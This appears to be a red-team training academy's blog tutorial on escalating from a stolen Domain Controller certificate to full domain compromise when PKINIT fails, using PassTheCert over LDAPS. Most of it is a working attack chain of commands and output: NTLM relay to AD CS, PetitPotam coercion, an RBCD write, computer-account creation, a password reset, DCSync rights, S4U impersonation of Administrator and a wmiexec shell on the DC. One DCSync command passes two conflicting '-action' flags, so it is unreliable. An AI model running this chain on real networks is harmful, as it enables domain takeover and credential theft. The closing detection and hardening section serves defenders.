Active Directory Certificate Services (AD CS) abuse has become one of the most reliable paths to Domain Admin during internal engagements. The usual playbook is clean: capture a foothold, locate the certificate enrollment service, coerce a Domain Controller into authenticating to you, relay that authentication to the CA, and walk away with a certificate you can turn into a Ticket Granting Ticket through PKINIT. But every operator who has run this chain enough times eventually hits the wall: PKINIT simply does not work. The KDC throws an error, the TGT request dies, and the certificate you fought hard to obtain looks worthless.
It is not worthless. This post walks through what to do when PKINIT is not supported, why it happens, and how to keep your certificate-based attack alive using Schannel authentication over LDAPS with a tool called PassTheCert. If you are sharpening your Active Directory tradecraft, the techniques here pair directly with the hands-on labs in the Windows Red Teaming track at Redfox Cybersecurity Academy.
PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) lets a client present an X.509 certificate as a pre-authentication method to request a TGT. Once you have a TGT, tooling such as PKINITtools can even recover the account NT hash through the UnPAC-the-hash technique. In a well-deployed PKI, PKINIT is normally available, which is exactly why the AD CS attack chain leans on it so heavily.
The catch is that PKINIT depends on the KDC, meaning the Domain Controller, being configured to accept smart card style logon. That configuration is not guaranteed. Some environments deploy certificates to their Domain Controllers that satisfy server authentication needs but were never issued with the Extended Key Usage required for client logon. When that happens, the certificate you stole or forged is still cryptographically valid, but the KDC refuses to process it as pre-authentication data.
Understanding this distinction early saves hours of frustration on a live assessment. The certificate is fine. The KDC just will not play the PKINIT game.
When PKINIT is unavailable, the failure is specific and consistent. Running a standard TGT request with a maliciously obtained Domain Controller certificate produces a Kerberos error rather than a ticket.
Here is what the failure looks like when you attempt to request a TGT with PKINITtools against a DC that does not support smart card logon:
python3 gettgtpkinit.py -cert-pfx AD2_auth.pfx 'contoso.com/AD2$' AD2.ccache
[minikerberos] INFO Loading certificate and key from file
[minikerberos] INFO Requesting TGT
minikerberos.protocol.errors.KerberosError:
Error Code: 16 Reason: KDC has no support for PADATA type (pre-authentication data)
[cta]
Error code 16 maps to KDC_ERR_PADATA_TYPE_NOSUPP. In a packet capture you will see the same value surface as eRR-PADATA-TYPE-NOSUPP (16) inside the KRB-ERROR message. Microsoft documents this condition in the context of event ID 4771, where it indicates that smart card logon was attempted but the proper certificate could not be located or the Domain Controller does not have a certificate installed for smart card use.
A certificate carries one or more Extended Key Usages (EKUs), which are object identifiers that declare what the certificate is permitted to do. For a KDC to honor PKINIT, the Domain Controller certificate must include the Smart Card Logon EKU, identified by the OID 1.3.6.1.4.1.311.20.2.2. You can quickly inspect the EKUs on a captured certificate with OpenSSL:
openssl pkcs12 -in AD2_auth.pfx -nodes -passin pass: | \
openssl x509 -noout -text | grep -A2 "Extended Key Usage"
[cta]
If the output lists Server Authentication and Client Authentication but is missing Smart Card Logon, you have confirmed the root cause. PKINIT is off the table for this DC. Learning to read certificate templates and EKUs at this level of detail is core to certificate abuse, and it is exactly the kind of practical skill emphasized in the Active Directory and Windows red team courses at Redfox Cybersecurity Academy.
Before pivoting to the alternative, it helps to see where in the normal flow things fall apart. A typical ESC8 NTLM relay attack proceeds like this. First, you enumerate the web enrollment endpoint and confirm it is reachable:
certipy find -u jdoe@contoso.com -p 'Summer2025!' -dc-ip 10.0.0.10 -stdout | \
grep -i "Web Enrollment"
[cta]
Next, you stand up a relay listener targeting the certificate authority's web enrollment interface and request a Domain Controller authentication template on behalf of whoever connects in:
ntlmrelayx.py -t http://CA01.contoso.com/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
[cta]
Then you coerce the target Domain Controller into authenticating back to your relay using a printer bug or PetitPotam style trigger:
python3 PetitPotam.py -d contoso.com -u jdoe -p 'Summer2025!' \
10.0.0.50 10.0.0.10
[cta]
At this point the relay captures the DC machine account authentication, mints a certificate, and you save the resulting base64 blob as a PFX. Everything has worked. The break only appears at the final step, when you try to convert that PFX into a TGT and the KDC returns error code 16. The chain that should have ended in domain takeover stalls one move short.
The way forward is to stop thinking in terms of Kerberos entirely. Kerberos and PKINIT are only one way to use a certificate against a Domain Controller. Several Windows protocols rely on Schannel, the security package behind SSL/TLS, to authenticate domain users, and LDAPS is the most commonly enabled of these.
Microsoft's own documentation on SSL/TLS connections to a DC spells this out. When a client opens a TLS connection to a Domain Controller, the DC requests the client certificate during the handshake. If the client presents a valid certificate, the DC can use it to authenticate, or bind, the connection as the identity represented by that certificate. No PKINIT, no Smart Card Logon EKU, no Kerberos pre-authentication required. The certificate that failed for TGT issuance can still bind an LDAP session over TLS.
There are two distinct ways to establish that TLS-protected connection, and knowing both matters on real networks where firewalls and configurations vary:
The first is a direct connection to the dedicated LDAPS port, TCP 636 (or 3269 for the global catalog). The second is a connection to the standard LDAP port, TCP 389 (or 3268), followed by an LDAP_SERVER_START_TLS_OID extended operation, commonly called StartTLS, that upgrades the plaintext session to TLS in place. If 636 is filtered but 389 is open, StartTLS gives you a second route to the same outcome.
Before launching any attack action, validate that the certificate actually binds. A simple LDAP whoami over an SSL bind tells you exactly which account the DC mapped your certificate to:
Get-LdapCurrentUser -Certificate Z:\AD2.pfx -Server AD1.contoso.com:636 -UseSSL
# Returns: u:CONTOSO\AD2$
[cta]
Seeing the machine account identity returned confirms the DC accepted the certificate and authenticated the Schannel session. From here the certificate is a working credential, just one you wield over TLS instead of Kerberos.
The historical gap was tooling. The offensive ecosystem had no straightforward way to perform meaningful attack actions over a Schannel-authenticated LDAP session. PassTheCert closes that gap. It is a lightweight implementation, available in both a C# build and a Python port, that authenticates to an LDAP server using a client certificate and then carries out a focused set of privilege escalation actions. The technique extends the broader idea of Pass the Certificate from the Kerberos world into the TLS world.
Because authentication happens through Schannel, PassTheCert also works in environments where LDAP Channel Binding is enforced, a point we will return to shortly.
The Python version runs anywhere you have a recent interpreter and the right libraries. A minimal setup looks like this:
git clone https://github.com/AlmondOffSec/PassTheCert.git
cd PassTheCert/Python
python3 -m pip install -r requirements.txt
python3 passthecert.py --help
[cta]
If your certificate and private key are split across separate PEM files rather than bundled in a PFX, you can pass them independently, which is convenient when you extracted them from a relay capture:
python3 passthecert.py -action whoami -crt dc.crt -key dc.key \
-domain contoso.com -dc-ip 10.0.0.10 -port 636
[cta]
If your certificate belongs to a sufficiently privileged object, for example a legacy Exchange server account that still holds WriteDacl over the domain object, you can grant DCSync replication rights to an account you control. That account can then replicate the directory and pull every hash, including the KRBTGT key:
python3 passthecert.py -action write_rbcd -crt exchange.crt -key exchange.key \
-domain contoso.com -dc-ip 10.0.0.10 \
-action dcsync -target jdoe
[cta]
Once the ACL is in place, harvesting credentials with a standard replication request finishes the job:
secretsdump.py -just-dc-user 'contoso\krbtgt' \
'contoso.com/jdoe:Summer2025!'@10.0.0.10
[cta]
Mapping DACL abuse to certificate-bound identities is a subtle skill, and it is the sort of chained reasoning the Windows Red Teaming Extreme course at Redfox Cybersecurity Academy drills through realistic multi-step scenarios.
The most broadly useful action against a Domain Controller certificate is configuring Resource-Based Constrained Delegation (RBCD). You modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target machine to trust a computer account you control. The elegant part is that a machine can edit its own attribute, so a DC certificate can be used to make the DC delegate to your attacker-controlled computer:
python3 passthecert.py -action write_rbcd -crt dc.crt -key dc.key \
-domain contoso.com -dc-ip 10.0.0.10 \
-target 'AD2$' -delegate-to 'DESKTOP-1337$'
[cta]
The C# build performs the same write against the DC's distinguished name and gives you a clean restore string so you can revert the attribute after the engagement:
PS C:\> .\PassTheCert.exe --server ad1.contoso.com --cert-path Z:\ad2.pfx ^
--rbcd --target "CN=AD2,OU=Domain Controllers,DC=contoso,DC=com" ^
--sid "S-1-5-21-863927164-4106933278-53377030-3122"
[*] msDS-AllowedToActOnBehalfOfOtherIdentity attribute is empty
[*] Restore with: --target "CN=AD2,..." --restore clear
[+] Success
[cta]
RBCD needs a computer account you fully control, complete with Service Principal Names. By default, authenticated users can join up to ten machines to the domain, and PassTheCert can create one for you and report back the generated password:
PS C:\> .\PassTheCert.exe --server ad1.contoso.com --cert-path Z:\ad2.pfx ^
--add-computer --computer-name DESKTOP-1337$
[*] No password given, generating random one.
[+] Generated password: Q2cpNOMhwlU2yZQBPAbJ1YY9M9XJIfBc
[+] Success
[cta]
This pairs naturally with the RBCD action above: create the computer, then point the DC's delegation attribute at its SID.
If your certificate maps to an identity that holds the User-Force-Change-Password right over another account, you can reset that account's password outright. This is a fast route to taking over a service account or a privileged user whose ACL you control:
python3 passthecert.py -action modify_user -crt priv.crt -key priv.key \
-domain contoso.com -dc-ip 10.0.0.10 \
-target svc_backup -new-pass 'N3wP@ssw0rd!2025'
[cta]
Tying the pieces together, here is the complete path from a stolen DC certificate that fails PKINIT to a SYSTEM shell on that Domain Controller. First, create the controlled computer account and set delegation, both shown above. Once msDS-AllowedToActOnBehalfOfOtherIdentity on the DC trusts your computer, request a service ticket impersonating a Domain Admin using the S4U2self and S4U2proxy flow:
getST.py -spn 'cifs/ad2.contoso.com' -impersonate Administrator \
'contoso.com/DESKTOP-1337$:Q2cpNOMhwlU2yZQBPAbJ1YY9M9XJIfBc'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
[cta]
Export the ticket into your environment and use it for a Kerberos-authenticated remote execution against the Domain Controller:
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass contoso.com/Administrator@ad2.contoso.com
[*] SMBv3.0 dialect used
C:\> whoami
contoso\administrator
[cta]
What started as a failed PKINIT attempt now ends in full control of the Domain Controller, achieved entirely through TLS-bound LDAP actions plus a delegation abuse, with no Kerberos pre-authentication required at any point. Building the muscle memory to chain these steps under time pressure is precisely what the lab-driven Active Directory attack paths at Redfox Cybersecurity Academy are designed to develop.
LDAP Channel Binding Tokens (CBT) and LDAP signing are defensive controls that defeat many classic NTLM relay attacks against LDAP. They work by tying the application-layer authentication to the underlying TLS channel, so a relayed credential no longer matches and the bind fails.
PassTheCert sidesteps this entirely. Channel Binding is designed to harden authentication mechanisms layered on top of the channel, but Schannel certificate authentication is the channel itself. By design, a Schannel client bind is not subject to Channel Binding, because there is no separate authentication layer being relayed across a different channel. This is one reason the technique remains effective in hardened environments where ntlmrelayx style LDAP attacks have been shut down. It is also why the StartTLS path on TCP 389 is worth knowing: research into bypassing Channel Binding through StartTLS grew directly out of experimenting with these TLS bind primitives.
Defenders are not blind to this activity. A Schannel certificate authentication against a Domain Controller generates the same logon telemetry as other mechanisms. You will typically see event ID 4648, "A logon was attempted using explicit credentials," followed by event ID 4624, "An account was successfully logged on." The detail that gives the technique away is the logon process field, which reads Schannel, while the authentication package may still reference Kerberos because Schannel first attempts to map the presented credential to an account using S4U2self before falling back to certificate Subject Alternative Name or issuer-based mapping.
Detection engineers should hunt for 4624 events where the logon process is Schannel and the account is a machine account, especially a Domain Controller machine account binding to LDAP, which is unusual in normal operations. Correlating these with sudden changes to msDS-AllowedToActOnBehalfOfOtherIdentity or new computer object creation tightens the signal considerably.
The defensive priorities here are layered. Prevent the certificate from being obtained in the first place by hardening AD CS: remove dangerous enrollment permissions, disable the HTTP web enrollment endpoint or enforce HTTPS with Extended Protection for Authentication, and audit vulnerable templates that allow Subject Alternative Name specification. Block the coercion primitives by patching and restricting MS-RPRN and MS-EFSRPC where feasible.
Beyond that, monitor the directory for the specific abuse actions PassTheCert performs. Alert on writes to msDS-AllowedToActOnBehalfOfOtherIdentity, on new computer accounts created by unexpected principals, on DACL changes that introduce replication rights, and on out-of-pattern password resets. Finally, scope and review which accounts hold WriteDacl over the domain object, since a single over-privileged legacy account, often an old Exchange object, can collapse the entire forest when paired with a certificate. Understanding both the offensive chain and these countermeasures is what separates a checkbox tester from a capable operator, and it is the balanced perspective taught throughout Redfox Cybersecurity Academy.
PKINIT failing is not the end of a certificate-based attack, it is a fork in the road. When a Domain Controller certificate lacks the Smart Card Logon EKU, the KDC returns error code 16 and refuses to issue a TGT, but the certificate remains a fully valid TLS client credential. Schannel authentication over LDAPS, on either port 636 or port 389 via StartTLS, lets you bind to the directory and act as the identity the certificate represents.
With PassTheCert you can turn that bind into real impact: granting DCSync rights, configuring RBCD against a Domain Controller, adding a controlled computer account, or resetting an account password. Chained together, these actions take you from a failed PKINIT request to a SYSTEM shell on a DC, and because Schannel is the channel rather than a layer above it, the technique slips past LDAP Channel Binding that would stop a conventional relay. The lesson that holds across the whole engagement is the one the original research embodies: when one technique stalls, going back to the fundamentals of how authentication actually works often reveals a path nobody expected. If you want to practice these exact attack chains in safe, realistic lab environments, explore the Windows red teaming and Active Directory curriculum at Redfox Cybersecurity Academy.